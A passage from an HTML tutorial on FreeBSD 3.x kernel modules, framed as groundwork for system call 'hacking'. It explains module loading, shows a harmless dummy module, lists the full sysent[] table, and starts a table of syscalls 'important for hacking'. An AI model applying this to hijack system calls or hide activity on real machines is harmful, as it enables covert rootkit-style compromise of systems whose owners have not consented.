  514. TAILQ_ENTRY(module) flink;
  515. /*this linker_file structure describes the link file the module comes from*/
  516. struct linker_file* file;
  517. /*references to this module (reference cound)*/
  518. int refs;
  519. /*id of this module*/
  520. int id;
  521. /*name of this module*/
  522. char *name;
  523. /*the mod handler (in our case the load function)*/
  524. modeventhand_t handler;
  525. /*arguments to the mod handler*/
  526. void *arg;
  527. /*some - for us not very interesting - data fields*/
  528. modspecific_t data;
  529. }
  530. </xmp>
  531. Finally the module_register function calls the modeventhand_t field of the
  532. module structure (in our case : the syscall_module_handler) with the MOD_LOAD
  533. command (cmd see example) argument. This function is defined in
  534. kern_syscalls.c. On MOD_LOAD it calls syscall_register
  535. (kern_syscalls.c) with the new sysentry and other stuff needed for installing
  536. the system call. So let's say that syscall_register installed the system call
  537. and returns (this stuff is not so interesting for us, we will use a more easy
  538. way to 'hack' system calls). The last piece of code in syscall_module_handler
  539. calls the self-defined load function (see example) with the same command field
  540. (on startup MOD_LOAD). This way the module developer is able to do his own
  541. stuff on LOAD and UNLOAD.<br>
  542. Now we are ready. The module is loaded and started, and the system call is
  543. installed. Recall that this example was written for a specific module - a
  544. SYSCALL_MODULE. There are other module types (like device drivers etc.).
  545. Please read the Kernel sources again and again and compare them to this part.
  546. Everything should be clear.
  547. <p>
  548. <H3><A NAME="I.4."></A>4. Other kinds of module</h3>
  549. <p>
  550. As I said before the helloworld example module is a special so called
  551. SYSCALL_MODULE that is used to install a certain system call. FreeBSD provides
  552. other macros and module layouts for different aims. Take a look at the driver
  553. example that is shipped with FreeBSD. I won't discuss it here, because we will
  554. never use the standard way of coding FreeBSD forces us to. <br>
  555. The next section will show how to become independent from those standard
  556. module layouts.
  557. <p>
  558. <H3><A NAME="I.5."></A>5. MISC modules with the KLD scheme</h3>
  559. <p>
  560. When I first coded some modules on FreeBSD (on an older 2.2.x release) I was
  561. able to use so called MISC_MODULES. Instead of providing a certain layout for
  562. special purposes (like SYSCALL_MODULE for system calls etc.) a MISC_MODULE was
  563. just some piece of code loaded into the kernel, and calling the 'load' function
  564. written by me. This scheme was ideal for hacking, because I was not forced to
  565. implement a special kind of module. I had a fast and easy way to insert any
  566. kernel code. These days are gone on FreeBSD 3.x because the KLD scheme
  567. provides no MISC_MODULES like the LKM one did. So my first modules (like a
  568. hide module etc.) did the hacking part, but also installed a system call (I
  569. used SYSCALL_MODULES). This was no good solution. So I decided to create a
  570. general module layout which will do the same like the old MISC_MODULES on LKM
  571. systems : just call a 'load' function and nothing else. <br>
  572. The following piece of code represents a MISC_MODULE for FreeBSD 3.x
  573. systems using the KLD method :
  574. <xmp>
  575. #include <sys/types.h>
  576. #include <sys/param.h>
  577. #include <sys/proc.h>
  578. #include <sys/module.h>
  579. #include <sys/sysent.h>
  580. #include <sys/kernel.h>
  581. #include <sys/systm.h>
  582. #include <sys/linker.h>
  583. #include <sys/sysproto.h>
  584. #include <sys/sysent.h>
  585. #include <sys/proc.h>
  586. #include <sys/syscall.h>
  587. /*our own 'load' function*/
  588. static int
  589. dummy_handler(struct module *mod, int what, void *arg)
  590. {
  591. switch(what)
  592. {
  593. case MOD_LOAD :
  594. printf("LOAD\n");
  595. break;
  596. case MOD_UNLOAD :
  597. printf("UNLOAD\n");
  598. break;
  599. }
  600. return 0;
  601. }
  602. /*NOTE : The following stuff 'links' our module into the kernel and calls
  603. dummy_handler as our installation routine. I didn't use any macro
  604. supplied by some header file for making module coding a bit easier.
  605. But this way you will see every piece of code responsible for loading
  606. the module.
  607. */
  608. /*fill the module structure*/
  609. static moduledata_t dummy_mod = {
  610. "dummy",
  611. dummy_handler, /*normally you would find something like
  612. syscall_module_handler here*/
  613. NULL /*normally you would find something like
  614. syscall_module_data here (argument for the
  615. syscall_module_handler)*/
  616. };
  617. /*the rest is the same*/
  618. static struct sysinit syscall_sys_init = {
  619. SI_SUB_DRIVERS, /*SUBSYSTEM*/
  620. SI_ORDER_MIDDLE, /*ORDER*/
  621. module_register_init, /*the same for any module*/
  622. &dummy_mod /*data*/
  623. };
  624. /*We can leave this the same, it will work without modification...*/
  625. static void const * const
  626. __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
  627. __asm(".section .set.""sysinit_set"",\"aw\"");
  628. __asm(".long " "syscall_sys_init");
  629. __asm(".previous");
  630. </xmp>
  631. Compile this module and load it. The only thing it will do is printing a string
  632. on load and unload. I must admit that the module above is a bit too long for
  633. everyday coding. So I use one macro defined by the system which will make the
  634. module a bit shorter but acting the same way. Replace the last lines with
  635. <xmp>
  636. ...
  637. static moduledata_t dummy_mod = {
  638. "dummy",
  639. dummy_handler,
  640. NULL
  641. };
  642. DECLARE_MODULE(dummy, dummy_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
  643. </xmp>
  644. Now our module is quite short and works like a MISC_MODULE on LKM systems.
  645. Any code we want to execute on the kernel layer can be written into the
  646. dummy_handler function.
  647. <p>
  648. <H3><A NAME="I.6."></A>6. System calls on FreeBSD</h3>
  649. <p>
  650. My Linux LKM article did a quite good job in explaining the way system calls
  651. in general work. I won't repeat those words here, so I only give you BSD
  652. relevant and needed material.<br>
  653. The following list represents every system call that is present by startup on
  654. a FreeBSD 3.1 system (I took this list form init_sysents.c):
  655. <xmp>
  656. struct sysent sysent[] = {
  657. { 0, (sy_call_t *)nosys }, /* 0 = syscall */
  658. { 1, (sy_call_t *)exit }, /* 1 = exit */
  659. { 0, (sy_call_t *)fork }, /* 2 = fork */
  660. { 3, (sy_call_t *)read }, /* 3 = read */
  661. { 3, (sy_call_t *)write }, /* 4 = write */
  662. { 3, (sy_call_t *)open }, /* 5 = open */
  663. { 1, (sy_call_t *)close }, /* 6 = close */
  664. { 4, (sy_call_t *)wait4 }, /* 7 = wait4 */
  665. { compat(2,creat) }, /* 8 = old creat */
  666. { 2, (sy_call_t *)link }, /* 9 = link */
  667. { 1, (sy_call_t *)unlink }, /* 10 = unlink */
  668. { 0, (sy_call_t *)nosys }, /* 11 = obsolete execv */
  669. { 1, (sy_call_t *)chdir }, /* 12 = chdir */
  670. { 1, (sy_call_t *)fchdir }, /* 13 = fchdir */
  671. { 3, (sy_call_t *)mknod }, /* 14 = mknod */
  672. { 2, (sy_call_t *)chmod }, /* 15 = chmod */
  673. { 3, (sy_call_t *)chown }, /* 16 = chown */
  674. { 1, (sy_call_t *)obreak }, /* 17 = break */
  675. { 3, (sy_call_t *)getfsstat }, /* 18 = getfsstat */
  676. { compat(3,lseek) }, /* 19 = old lseek */
  677. { 0, (sy_call_t *)getpid }, /* 20 = getpid */
  678. { 4, (sy_call_t *)mount }, /* 21 = mount */
  679. { 2, (sy_call_t *)unmount }, /* 22 = unmount */
  680. { 1, (sy_call_t *)setuid }, /* 23 = setuid */
  681. { 0, (sy_call_t *)getuid }, /* 24 = getuid */
  682. { 0, (sy_call_t *)geteuid }, /* 25 = geteuid */
  683. { 4, (sy_call_t *)ptrace }, /* 26 = ptrace */
  684. { 3, (sy_call_t *)recvmsg }, /* 27 = recvmsg */
  685. { 3, (sy_call_t *)sendmsg }, /* 28 = sendmsg */
  686. { 6, (sy_call_t *)recvfrom }, /* 29 = recvfrom */
  687. { 3, (sy_call_t *)accept }, /* 30 = accept */
  688. { 3, (sy_call_t *)getpeername }, /* 31 = getpeername */
  689. { 3, (sy_call_t *)getsockname }, /* 32 = getsockname */
  690. { 2, (sy_call_t *)access }, /* 33 = access */
  691. { 2, (sy_call_t *)chflags }, /* 34 = chflags */
  692. { 2, (sy_call_t *)fchflags }, /* 35 = fchflags */
  693. { 0, (sy_call_t *)sync }, /* 36 = sync */
  694. { 2, (sy_call_t *)kill }, /* 37 = kill */
  695. { compat(2,stat) }, /* 38 = old stat */
  696. { 0, (sy_call_t *)getppid }, /* 39 = getppid */
  697. { compat(2,lstat) }, /* 40 = old lstat */
  698. { 1, (sy_call_t *)dup }, /* 41 = dup */
  699. { 0, (sy_call_t *)pipe }, /* 42 = pipe */
  700. { 0, (sy_call_t *)getegid }, /* 43 = getegid */
  701. { 4, (sy_call_t *)profil }, /* 44 = profil */
  702. { 4, (sy_call_t *)ktrace }, /* 45 = ktrace */
  703. { 3, (sy_call_t *)sigaction }, /* 46 = sigaction */
  704. { 0, (sy_call_t *)getgid }, /* 47 = getgid */
  705. { 2, (sy_call_t *)sigprocmask }, /* 48 = sigprocmask */
  706. { 2, (sy_call_t *)getlogin }, /* 49 = getlogin */
  707. { 1, (sy_call_t *)setlogin }, /* 50 = setlogin */
  708. { 1, (sy_call_t *)acct }, /* 51 = acct */
  709. { 0, (sy_call_t *)sigpending }, /* 52 = sigpending */
  710. { 2, (sy_call_t *)sigaltstack }, /* 53 = sigaltstack */
  711. { 3, (sy_call_t *)ioctl }, /* 54 = ioctl */
  712. { 1, (sy_call_t *)reboot }, /* 55 = reboot */
  713. { 1, (sy_call_t *)revoke }, /* 56 = revoke */
  714. { 2, (sy_call_t *)symlink }, /* 57 = symlink */
  715. { 3, (sy_call_t *)readlink }, /* 58 = readlink */
  716. { 3, (sy_call_t *)execve }, /* 59 = execve */
  717. { 1, (sy_call_t *)umask }, /* 60 = umask */
  718. { 1, (sy_call_t *)chroot }, /* 61 = chroot */
  719. { compat(2,fstat) }, /* 62 = old fstat */
  720. { compat(4,getkerninfo) }, /* 63 = old getkerninfo */
  721. { compat(0,getpagesize) }, /* 64 = old getpagesize */
  722. { 3, (sy_call_t *)msync }, /* 65 = msync */
  723. { 0, (sy_call_t *)vfork }, /* 66 = vfork */
  724. { 0, (sy_call_t *)nosys }, /* 67 = obsolete vread */
  725. { 0, (sy_call_t *)nosys }, /* 68 = obsolete vwrite */
  726. { 1, (sy_call_t *)sbrk }, /* 69 = sbrk */
  727. { 1, (sy_call_t *)sstk }, /* 70 = sstk */
  728. { compat(6,mmap) }, /* 71 = old mmap */
  729. { 1, (sy_call_t *)ovadvise }, /* 72 = vadvise */
  730. { 2, (sy_call_t *)munmap }, /* 73 = munmap */
  731. { 3, (sy_call_t *)mprotect }, /* 74 = mprotect */
  732. { 3, (sy_call_t *)madvise }, /* 75 = madvise */
  733. { 0, (sy_call_t *)nosys }, /* 76 = obsolete vhangup */
  734. { 0, (sy_call_t *)nosys }, /* 77 = obsolete vlimit */
  735. { 3, (sy_call_t *)mincore }, /* 78 = mincore */
  736. { 2, (sy_call_t *)getgroups }, /* 79 = getgroups */
  737. { 2, (sy_call_t *)setgroups }, /* 80 = setgroups */
  738. { 0, (sy_call_t *)getpgrp }, /* 81 = getpgrp */
  739. { 2, (sy_call_t *)setpgid }, /* 82 = setpgid */
  740. { 3, (sy_call_t *)setitimer }, /* 83 = setitimer */
  741. { compat(0,wait) }, /* 84 = old wait */
  742. { 1, (sy_call_t *)swapon }, /* 85 = swapon */
  743. { 2, (sy_call_t *)getitimer }, /* 86 = getitimer */
  744. { compat(2,gethostname) }, /* 87 = old gethostname */
  745. { compat(2,sethostname) }, /* 88 = old sethostname */
  746. { 0, (sy_call_t *)getdtablesize }, /* 89 = getdtablesize */
  747. { 2, (sy_call_t *)dup2 }, /* 90 = dup2 */
  748. { 0, (sy_call_t *)nosys }, /* 91 = getdopt */
  749. { 3, (sy_call_t *)fcntl }, /* 92 = fcntl */
  750. { 5, (sy_call_t *)select }, /* 93 = select */
  751. { 0, (sy_call_t *)nosys }, /* 94 = setdopt */
  752. { 1, (sy_call_t *)fsync }, /* 95 = fsync */
  753. { 3, (sy_call_t *)setpriority }, /* 96 = setpriority */
  754. { 3, (sy_call_t *)socket }, /* 97 = socket */
  755. { 3, (sy_call_t *)connect }, /* 98 = connect */
  756. { compat(3,accept) }, /* 99 = old accept */
  757. { 2, (sy_call_t *)getpriority }, /* 100 = getpriority */
  758. { compat(4,send) }, /* 101 = old send */
  759. { compat(4,recv) }, /* 102 = old recv */
  760. { 1, (sy_call_t *)sigreturn }, /* 103 = sigreturn */
  761. { 3, (sy_call_t *)bind }, /* 104 = bind */
  762. { 5, (sy_call_t *)setsockopt }, /* 105 = setsockopt */
  763. { 2, (sy_call_t *)listen }, /* 106 = listen */
  764. { 0, (sy_call_t *)nosys }, /* 107 = obsolete vtimes */
  765. { compat(3,sigvec) }, /* 108 = old sigvec */
  766. { compat(1,sigblock) }, /* 109 = old sigblock */
  767. { compat(1,sigsetmask) }, /* 110 = old sigsetmask */
  768. { 1, (sy_call_t *)sigsuspend }, /* 111 = sigsuspend */
  769. { compat(2,sigstack) }, /* 112 = old sigstack */
  770. { compat(3,recvmsg) }, /* 113 = old recvmsg */
  771. { compat(3,sendmsg) }, /* 114 = old sendmsg */
  772. { 0, (sy_call_t *)nosys }, /* 115 = obsolete vtrace */
  773. { 2, (sy_call_t *)gettimeofday }, /* 116 = gettimeofday */
  774. { 2, (sy_call_t *)getrusage }, /* 117 = getrusage */
  775. { 5, (sy_call_t *)getsockopt }, /* 118 = getsockopt */
  776. { 0, (sy_call_t *)nosys }, /* 119 = resuba */
  777. { 3, (sy_call_t *)readv }, /* 120 = readv */
  778. { 3, (sy_call_t *)writev }, /* 121 = writev */
  779. { 2, (sy_call_t *)settimeofday }, /* 122 = settimeofday */
  780. { 3, (sy_call_t *)fchown }, /* 123 = fchown */
  781. { 2, (sy_call_t *)fchmod }, /* 124 = fchmod */
  782. { compat(6,recvfrom) }, /* 125 = old recvfrom */
  783. { 2, (sy_call_t *)setreuid }, /* 126 = setreuid */
  784. { 2, (sy_call_t *)setregid }, /* 127 = setregid */
  785. { 2, (sy_call_t *)rename }, /* 128 = rename */
  786. { compat(2,truncate) }, /* 129 = old truncate */
  787. { compat(2,ftruncate) }, /* 130 = old ftruncate */
  788. { 2, (sy_call_t *)flock }, /* 131 = flock */
  789. { 2, (sy_call_t *)mkfifo }, /* 132 = mkfifo */
  790. { 6, (sy_call_t *)sendto }, /* 133 = sendto */
  791. { 2, (sy_call_t *)shutdown }, /* 134 = shutdown */
  792. { 4, (sy_call_t *)socketpair }, /* 135 = socketpair */
  793. { 2, (sy_call_t *)mkdir }, /* 136 = mkdir */
  794. { 1, (sy_call_t *)rmdir }, /* 137 = rmdir */
  795. { 2, (sy_call_t *)utimes }, /* 138 = utimes */
  796. { 0, (sy_call_t *)nosys }, /* 139 = obsolete 4.2 sigreturn */
  797. { 2, (sy_call_t *)adjtime }, /* 140 = adjtime */
  798. { compat(3,getpeername) }, /* 141 = old getpeername */
  799. { compat(0,gethostid) }, /* 142 = old gethostid */
  800. { compat(1,sethostid) }, /* 143 = old sethostid */
  801. { compat(2,getrlimit) }, /* 144 = old getrlimit */
  802. { compat(2,setrlimit) }, /* 145 = old setrlimit */
  803. { compat(2,killpg) }, /* 146 = old killpg */
  804. { 0, (sy_call_t *)setsid }, /* 147 = setsid */
  805. { 4, (sy_call_t *)quotactl }, /* 148 = quotactl */
  806. { compat(0,quota) }, /* 149 = old quota */
  807. { compat(3,getsockname) }, /* 150 = old getsockname */
  808. { 0, (sy_call_t *)nosys }, /* 151 = sem_lock */
  809. { 0, (sy_call_t *)nosys }, /* 152 = sem_wakeup */
  810. { 0, (sy_call_t *)nosys }, /* 153 = asyncdaemon */
  811. { 0, (sy_call_t *)nosys }, /* 154 = nosys */
  812. { 2, (sy_call_t *)nosys }, /* 155 = nfssvc */
  813. { compat(4,getdirentries) }, /* 156 = old getdirentries */
  814. { 2, (sy_call_t *)statfs }, /* 157 = statfs */
  815. { 2, (sy_call_t *)fstatfs }, /* 158 = fstatfs */
  816. { 0, (sy_call_t *)nosys }, /* 159 = nosys */
  817. { 0, (sy_call_t *)nosys }, /* 160 = nosys */
  818. { 2, (sy_call_t *)nosys }, /* 161 = getfh */
  819. { 2, (sy_call_t *)getdomainname }, /* 162 = getdomainname */
  820. { 2, (sy_call_t *)setdomainname }, /* 163 = setdomainname */
  821. { 1, (sy_call_t *)uname }, /* 164 = uname */
  822. { 2, (sy_call_t *)sysarch }, /* 165 = sysarch */
  823. { 3, (sy_call_t *)rtprio }, /* 166 = rtprio */
  824. { 0, (sy_call_t *)nosys }, /* 167 = nosys */
  825. { 0, (sy_call_t *)nosys }, /* 168 = nosys */
  826. { 5, (sy_call_t *)semsys }, /* 169 = semsys */
  827. { 6, (sy_call_t *)msgsys }, /* 170 = msgsys */
  828. { 4, (sy_call_t *)shmsys }, /* 171 = shmsys */
  829. { 0, (sy_call_t *)nosys }, /* 172 = nosys */
  830. { 0, (sy_call_t *)nosys }, /* 173 = nosys */
  831. { 0, (sy_call_t *)nosys }, /* 174 = nosys */
  832. { 0, (sy_call_t *)nosys }, /* 175 = nosys */
  833. { 1, (sy_call_t *)ntp_adjtime }, /* 176 = ntp_adjtime */
  834. { 0, (sy_call_t *)nosys }, /* 177 = sfork */
  835. { 0, (sy_call_t *)nosys }, /* 178 = getdescriptor */
  836. { 0, (sy_call_t *)nosys }, /* 179 = setdescriptor */
  837. { 0, (sy_call_t *)nosys }, /* 180 = nosys */
  838. { 1, (sy_call_t *)setgid }, /* 181 = setgid */
  839. { 1, (sy_call_t *)setegid }, /* 182 = setegid */
  840. { 1, (sy_call_t *)seteuid }, /* 183 = seteuid */
  841. { 0, (sy_call_t *)nosys }, /* 184 = lfs_bmapv */
  842. { 0, (sy_call_t *)nosys }, /* 185 = lfs_markv */
  843. { 0, (sy_call_t *)nosys }, /* 186 = lfs_segclean */
  844. { 0, (sy_call_t *)nosys }, /* 187 = lfs_segwait */
  845. { 2, (sy_call_t *)stat }, /* 188 = stat */
  846. { 2, (sy_call_t *)fstat }, /* 189 = fstat */
  847. { 2, (sy_call_t *)lstat }, /* 190 = lstat */
  848. { 2, (sy_call_t *)pathconf }, /* 191 = pathconf */
  849. { 2, (sy_call_t *)fpathconf }, /* 192 = fpathconf */
  850. { 0, (sy_call_t *)nosys }, /* 193 = nosys */
  851. { 2, (sy_call_t *)getrlimit }, /* 194 = getrlimit */
  852. { 2, (sy_call_t *)setrlimit }, /* 195 = setrlimit */
  853. { 4, (sy_call_t *)getdirentries }, /* 196 = getdirentries */
  854. { 8, (sy_call_t *)mmap }, /* 197 = mmap */
  855. { 0, (sy_call_t *)nosys }, /* 198 = __syscall */
  856. { 5, (sy_call_t *)lseek }, /* 199 = lseek */
  857. { 4, (sy_call_t *)truncate }, /* 200 = truncate */
  858. { 4, (sy_call_t *)ftruncate }, /* 201 = ftruncate */
  859. { 6, (sy_call_t *)__sysctl }, /* 202 = __sysctl */
  860. { 2, (sy_call_t *)mlock }, /* 203 = mlock */
  861. { 2, (sy_call_t *)munlock }, /* 204 = munlock */
  862. { 1, (sy_call_t *)undelete }, /* 205 = undelete */
  863. { 2, (sy_call_t *)futimes }, /* 206 = futimes */
  864. { 1, (sy_call_t *)getpgid }, /* 207 = getpgid */
  865. { 0, (sy_call_t *)nosys }, /* 208 = newreboot */
  866. { 3, (sy_call_t *)poll }, /* 209 = poll */
  867. { 0, (sy_call_t *)lkmnosys }, /* 210 = lkmnosys */
  868. { 0, (sy_call_t *)lkmnosys }, /* 211 = lkmnosys */
  869. { 0, (sy_call_t *)lkmnosys }, /* 212 = lkmnosys */
  870. { 0, (sy_call_t *)lkmnosys }, /* 213 = lkmnosys */
  871. { 0, (sy_call_t *)lkmnosys }, /* 214 = lkmnosys */
  872. { 0, (sy_call_t *)lkmnosys }, /* 215 = lkmnosys */
  873. { 0, (sy_call_t *)lkmnosys }, /* 216 = lkmnosys */
  874. { 0, (sy_call_t *)lkmnosys }, /* 217 = lkmnosys */
  875. { 0, (sy_call_t *)lkmnosys }, /* 218 = lkmnosys */
  876. { 0, (sy_call_t *)lkmnosys }, /* 219 = lkmnosys */
  877. { 4, (sy_call_t *)__semctl }, /* 220 = __semctl */
  878. { 3, (sy_call_t *)semget }, /* 221 = semget */
  879. { 3, (sy_call_t *)semop }, /* 222 = semop */
  880. { 1, (sy_call_t *)semconfig }, /* 223 = semconfig */
  881. { 3, (sy_call_t *)msgctl }, /* 224 = msgctl */
  882. { 2, (sy_call_t *)msgget }, /* 225 = msgget */
  883. { 4, (sy_call_t *)msgsnd }, /* 226 = msgsnd */
  884. { 5, (sy_call_t *)msgrcv }, /* 227 = msgrcv */
  885. { 3, (sy_call_t *)shmat }, /* 228 = shmat */
  886. { 3, (sy_call_t *)shmctl }, /* 229 = shmctl */
  887. { 1, (sy_call_t *)shmdt }, /* 230 = shmdt */
  888. { 3, (sy_call_t *)shmget }, /* 231 = shmget */
  889. { 2, (sy_call_t *)clock_gettime }, /* 232 = clock_gettime */
  890. { 2, (sy_call_t *)clock_settime }, /* 233 = clock_settime */
  891. { 2, (sy_call_t *)clock_getres }, /* 234 = clock_getres */
  892. { 0, (sy_call_t *)nosys }, /* 235 = timer_create */
  893. { 0, (sy_call_t *)nosys }, /* 236 = timer_delete */
  894. { 0, (sy_call_t *)nosys }, /* 237 = timer_settime */
  895. { 0, (sy_call_t *)nosys }, /* 238 = timer_gettime */
  896. { 0, (sy_call_t *)nosys }, /* 239 = timer_getoverrun */
  897. { 2, (sy_call_t *)nanosleep }, /* 240 = nanosleep */
  898. { 0, (sy_call_t *)nosys }, /* 241 = nosys */
  899. { 0, (sy_call_t *)nosys }, /* 242 = nosys */
  900. { 0, (sy_call_t *)nosys }, /* 243 = nosys */
  901. { 0, (sy_call_t *)nosys }, /* 244 = nosys */
  902. { 0, (sy_call_t *)nosys }, /* 245 = nosys */
  903. { 0, (sy_call_t *)nosys }, /* 246 = nosys */
  904. { 0, (sy_call_t *)nosys }, /* 247 = nosys */
  905. { 0, (sy_call_t *)nosys }, /* 248 = nosys */
  906. { 0, (sy_call_t *)nosys }, /* 249 = nosys */
  907. { 3, (sy_call_t *)minherit }, /* 250 = minherit */
  908. { 1, (sy_call_t *)rfork }, /* 251 = rfork */
  909. { 3, (sy_call_t *)openbsd_poll }, /* 252 = openbsd_poll */
  910. { 0, (sy_call_t *)issetugid }, /* 253 = issetugid */
  911. { 3, (sy_call_t *)lchown }, /* 254 = lchown */
  912. { 0, (sy_call_t *)nosys }, /* 255 = nosys */
  913. { 0, (sy_call_t *)nosys }, /* 256 = nosys */
  914. { 0, (sy_call_t *)nosys }, /* 257 = nosys */
  915. { 0, (sy_call_t *)nosys }, /* 258 = nosys */
  916. { 0, (sy_call_t *)nosys }, /* 259 = nosys */
  917. { 0, (sy_call_t *)nosys }, /* 260 = nosys */
  918. { 0, (sy_call_t *)nosys }, /* 261 = nosys */
  919. { 0, (sy_call_t *)nosys }, /* 262 = nosys */
  920. { 0, (sy_call_t *)nosys }, /* 263 = nosys */
  921. { 0, (sy_call_t *)nosys }, /* 264 = nosys */
  922. { 0, (sy_call_t *)nosys }, /* 265 = nosys */
  923. { 0, (sy_call_t *)nosys }, /* 266 = nosys */
  924. { 0, (sy_call_t *)nosys }, /* 267 = nosys */
  925. { 0, (sy_call_t *)nosys }, /* 268 = nosys */
  926. { 0, (sy_call_t *)nosys }, /* 269 = nosys */
  927. { 0, (sy_call_t *)nosys }, /* 270 = nosys */
  928. { 0, (sy_call_t *)nosys }, /* 271 = nosys */
  929. { 3, (sy_call_t *)getdents }, /* 272 = getdents */
  930. { 0, (sy_call_t *)nosys }, /* 273 = nosys */
  931. { 2, (sy_call_t *)lchmod }, /* 274 = lchmod */
  932. { 3, (sy_call_t *)lchown }, /* 275 = netbsd_lchown */
  933. { 2, (sy_call_t *)lutimes }, /* 276 = lutimes */
  934. { 3, (sy_call_t *)msync }, /* 277 = netbsd_msync */
  935. { 2, (sy_call_t *)nstat }, /* 278 = nstat */
  936. { 2, (sy_call_t *)nfstat }, /* 279 = nfstat */
  937. { 2, (sy_call_t *)nlstat }, /* 280 = nlstat */
  938. { 0, (sy_call_t *)nosys }, /* 281 = nosys */
  939. { 0, (sy_call_t *)nosys }, /* 282 = nosys */
  940. { 0, (sy_call_t *)nosys }, /* 283 = nosys */
  941. { 0, (sy_call_t *)nosys }, /* 284 = nosys */
  942. { 0, (sy_call_t *)nosys }, /* 285 = nosys */
  943. { 0, (sy_call_t *)nosys }, /* 286 = nosys */
  944. { 0, (sy_call_t *)nosys }, /* 287 = nosys */
  945. { 0, (sy_call_t *)nosys }, /* 288 = nosys */
  946. { 0, (sy_call_t *)nosys }, /* 289 = nosys */
  947. { 0, (sy_call_t *)nosys }, /* 290 = nosys */
  948. { 0, (sy_call_t *)nosys }, /* 291 = nosys */
  949. { 0, (sy_call_t *)nosys }, /* 292 = nosys */
  950. { 0, (sy_call_t *)nosys }, /* 293 = nosys */
  951. { 0, (sy_call_t *)nosys }, /* 294 = nosys */
  952. { 0, (sy_call_t *)nosys }, /* 295 = nosys */
  953. { 0, (sy_call_t *)nosys }, /* 296 = nosys */
  954. { 0, (sy_call_t *)nosys }, /* 297 = nosys */
  955. { 0, (sy_call_t *)nosys }, /* 298 = nosys */
  956. { 0, (sy_call_t *)nosys }, /* 299 = nosys */
  957. { 1, (sy_call_t *)modnext }, /* 300 = modnext */
  958. { 2, (sy_call_t *)modstat }, /* 301 = modstat */
  959. { 1, (sy_call_t *)modfnext }, /* 302 = modfnext */
  960. { 1, (sy_call_t *)modfind }, /* 303 = modfind */
  961. { 1, (sy_call_t *)kldload }, /* 304 = kldload */
  962. { 1, (sy_call_t *)kldunload }, /* 305 = kldunload */
  963. { 1, (sy_call_t *)kldfind }, /* 306 = kldfind */
  964. { 1, (sy_call_t *)kldnext }, /* 307 = kldnext */
  965. { 2, (sy_call_t *)kldstat }, /* 308 = kldstat */
  966. { 1, (sy_call_t *)kldfirstmod }, /* 309 = kldfirstmod */
  967. { 1, (sy_call_t *)getsid }, /* 310 = getsid */
  968. { 0, (sy_call_t *)nosys }, /* 311 = setresuid */
  969. { 0, (sy_call_t *)nosys }, /* 312 = setresgid */
  970. { 0, (sy_call_t *)nosys }, /* 313 = obsolete signanosleep */
  971. { 1, (sy_call_t *)aio_return }, /* 314 = aio_return */
  972. { 3, (sy_call_t *)aio_suspend }, /* 315 = aio_suspend */
  973. { 2, (sy_call_t *)aio_cancel }, /* 316 = aio_cancel */
  974. { 1, (sy_call_t *)aio_error }, /* 317 = aio_error */
  975. { 1, (sy_call_t *)aio_read }, /* 318 = aio_read */
  976. { 1, (sy_call_t *)aio_write }, /* 319 = aio_write */
  977. { 4, (sy_call_t *)lio_listio }, /* 320 = lio_listio */
  978. { 0, (sy_call_t *)yield }, /* 321 = yield */
  979. { 1, (sy_call_t *)thr_sleep }, /* 322 = thr_sleep */
  980. { 1, (sy_call_t *)thr_wakeup }, /* 323 = thr_wakeup */
  981. { 1, (sy_call_t *)mlockall }, /* 324 = mlockall */
  982. { 0, (sy_call_t *)munlockall }, /* 325 = munlockall */
  983. { 2, (sy_call_t *)__getcwd }, /* 326 = __getcwd */
  984. { 2, (sy_call_t *)sched_setparam }, /* 327 = sched_setparam */
  985. { 2, (sy_call_t *)sched_getparam }, /* 328 = sched_getparam */
  986. { 3, (sy_call_t *)sched_setscheduler }, /* 329 = sched_setscheduler */
  987. { 1, (sy_call_t *)sched_getscheduler }, /* 330 = sched_getscheduler */
  988. { 0, (sy_call_t *)sched_yield }, /* 331 = sched_yield */
  989. { 1, (sy_call_t *)sched_get_priority_max }, /* 332 = sched_get_priority_max */
  990. { 1, (sy_call_t *)sched_get_priority_min }, /* 333 = sched_get_priority_min */
  991. { 2, (sy_call_t *)sched_rr_get_interval }, /* 334 = sched_rr_get_interval */
  992. { 2, (sy_call_t *)utrace }, /* 335 = utrace */
  993. { 8, (sy_call_t *)sendfile }, /* 336 = sendfile */
  994. { 3, (sy_call_t *)kldsym }, /* 337 = kldsym */
  995. };
  996. </xmp>
  997. As you can see sysent[] contains one sysent structure for every system call
  998. installed on the system. Recall that the first element in the sysent structure
  999. is the argument count and the second the function pointer. This means for the
  1000. kldsysm system call :
  1001. <xmp>
  1002. argument cound : 3
  1003. system call function : kldsysm
  1004. </xmp>
  1005. And this means that we can get the sysent entry of every system call we want by
  1006. reading sysent[system call number]. The easiest way to get the index is to use
  1007. the syscalls.h file.
  1008. <p>
  1009. <H3><A NAME="I.6.1."></A>6.1 Important system calls for hacking</h3>
  1010. <p>
  1011. Now I want to extract the most important system calls you have to understand in
  1012. order to do a bit of kernel hacking. I give you the system call number, the
  1013. function and their arguments structure. Maybe you need to hack other
  1014. system calls, its just a matter of creativity.
  1015. <TABLE border=5 width=100%>
  1016. <tr>
  1017. <th>system call</th>
  1018. <th>number</th>
  1019. <th>argument struct</th>
  1020. <tr>
  1021. <td>read(p, uap)</td>
  1022. <td>3</td>
  1023. <td>struct read_args {<br>
  1024. int fd;<br>
  1025. void *buf;<br>
  1026. size_t nbyte; }<br></td>
  1027. </tr>
  1028. <tr>
  1029. <td>write(p, uap)</td>
  1030. <td>4</td>
  1031. <td>struct write_args {<br>
  1032. int fd;<br>
  1033. const void *buf;<br>
  1034. size_t nbyte; }<br></td>
  1035. </tr>
  1036. <tr>
  1037. <td>open(p, uap)</td>
  1038. <td>5</td>
  1039. <td>struct open_args {<br>
  1040. char *path;<br>
  1041. int flags;<br>
  1042. int mode; }<br></td>
  1043. </tr>
  1044. <tr>
  1045. <td>link(p, uap)</td>
  1046. <td>9</td>
  1047. <td>struct link_args {<br>
  1048. char *path;<br>
  1049. char *link; }<br></td>
  1050. </tr>
  1051. <tr>
  1052. <td>recvfrom(p, uap)</td>
  1053. <td>29</td>
  1054. <td>struct recvfrom_args {<br>
  1055. int s;<br>
  1056. caddr_t buf;<br>
  1057. size_t len;<br>
  1058. int flags;<br>
  1059. caddr_t from;<br>
  1060. int *fromlenaddr; }<br>
  1061. </td>
  1062. </tr>
  1063. <tr>
  1064. <td>accept(p, uap)</td>
  1065. <td>30</td>
  1066. <td>struct accept_args {<br>
  1067. int s;<br>
  1068. caddr_t name;<br>
  1069. int *anamelen; }<br>
  1070. </td>
  1071. </tr>
  1072. <tr>
  1073. <td>kill(p, uap)</td>
